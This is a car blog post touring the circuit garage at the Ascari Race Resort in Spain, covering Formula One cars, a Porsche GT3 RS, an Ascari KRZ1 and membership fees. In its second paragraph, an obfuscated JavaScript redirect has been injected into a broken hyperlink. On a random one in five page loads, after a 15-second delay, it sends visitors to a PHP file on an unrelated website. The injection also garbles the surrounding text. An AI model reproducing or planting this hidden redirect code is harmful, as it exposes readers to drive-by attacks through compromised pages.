Some of you might be looking for investment opportunities. Crankandpiston Inc. is still in the early stages, so you might like to take inspiration from Klaus Zwaart. As well as founding Ascari Cars Ltd (which brought us the 200+kph Ecosse, A10 and KZ1 sensations), the Dutch millionaire also owns the Ascari Race Resort in Ronda, Spain.
Yep, that means track days and top-notch ‘facilities’. But as $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/porsche-panamera-gts-travel-blog-moment-of-truth-part-two/” target=”_blank”>crankandpiston recently found out when invited to take a quick peak, this also includes a circuit garage that houses some truly epic performance machines.
This, for example, is one of the Benetton B194s that helped Michael Schumacher secure his first Formula One crown in 1994. We’re trying to remember if that was with or without tyres…
Then there’s this John Barnard designed 412 T2, driven by Jean Alesi during the latter stages of his Ferrari career. In Zwaart’s hands, the car’s since made a couple of appearances at the Goodwood Festival of Speed.
As well as the occasional Radical Cup racer and a Lamborghini or two, we stumbled across a Porsche 911 GT3 RS 40. Produced in typically limited numbers, this stripped out, race spec edition of the already revered GT car will hit 100kph in 3.9s and power through to 310kph.
And yet the Porsche is still not the most exclusive car in the garage. Take for instance the Ascari KRZ1, the high profile replacement to the British marque’s A10. Only 50 were confirmed for production, each costing an eye-watering $373,000. This price did at least include track time at the resort though to showcase its 5.0l V8 grunt.
Squirrelled away behind the circuit’s Lotus Elise fleet, and a cheeky 458 Italia, we even stumbled across this Ferrari Dayto…er, GTB/4. Though Pininfarina’s influence was still in high demand at Maranello in the late sixties/early seventies, the GTB/4’s sharper edged styling seemed more akin to Lamborghini. Still the GTB/4 was undeniably cool, and when it sealed a 1-2-3 at the 1967 Daytona 24 Hours, a legacy was born.
And yes, if you’re a resort member, you are also allocated parking in the circuit garage…
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…ahem, $79,000 joining fee (or $198,000 for premium membership), plus a $13,000 annual charge >>>
